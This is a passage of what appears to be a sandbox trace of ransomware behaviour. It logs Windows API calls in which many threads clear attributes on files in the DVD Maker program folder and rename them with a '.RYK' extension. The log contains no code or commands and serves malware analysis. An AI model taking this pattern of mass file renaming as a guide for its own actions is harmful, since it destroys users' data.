	[0173.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 732
	os_tid = 0x125c

	[0173.375] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv", dwFileAttributes=0x80) returned 0
	[0173.555] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 733
	os_tid = 0x1260

	[0173.376] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0173.556] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 734
	os_tid = 0x1264

	[0173.378] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png", dwFileAttributes=0x80) returned 0
	[0173.556] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 735
	os_tid = 0x1268

	[0173.379] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png", dwFileAttributes=0x80) returned 0
	[0173.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 736
	os_tid = 0x126c

	[0173.381] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png", dwFileAttributes=0x80) returned 0
	[0173.382] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 737
	os_tid = 0x1270

	[0173.559] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png", dwFileAttributes=0x80) returned 0
	[0173.560] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 738
	os_tid = 0x1278

	[0173.987] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp", dwFileAttributes=0x80) returned 0
	[0174.338] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.497] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 739
	os_tid = 0x127c

	[0173.997] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", dwFileAttributes=0x80) returned 0
	[0174.339] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 740
	os_tid = 0x1280

	[0173.998] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0174.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 741
	os_tid = 0x1284

	[0174.000] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", dwFileAttributes=0x80) returned 0
	[0174.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 742
	os_tid = 0x1288

	[0174.001] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0174.340] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 743
	os_tid = 0x128c

	[0174.002] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0174.341] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 744
	os_tid = 0x1290

	[0174.004] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png", dwFileAttributes=0x80) returned 0
	[0174.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 745
	os_tid = 0x1294

	[0174.344] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png", dwFileAttributes=0x80) returned 0
	[0174.501] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 746
	os_tid = 0x129c

	[0174.346] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0174.346] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 747
	os_tid = 0x12a0

	[0174.348] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0174.506] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 748
	os_tid = 0x12a4

	[0174.349] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png", dwFileAttributes=0x80) returned 0
	[0174.506] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 749
	os_tid = 0x12a8

	[0174.351] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx", dwFileAttributes=0x80) returned 0
	[0174.507] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 752
	os_tid = 0x12bc

	[0175.017] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0175.195] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 753
	os_tid = 0x12c0

	[0175.021] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0175.198] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 754
	os_tid = 0x12c4

	[0175.022] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.200] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.200] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 755
	os_tid = 0x12c8

	[0175.024] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.202] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.202] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 756
	os_tid = 0x12cc

	[0175.026] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.204] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 757
	os_tid = 0x12d0

	[0175.028] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.206] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.206] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 758
	os_tid = 0x12d4

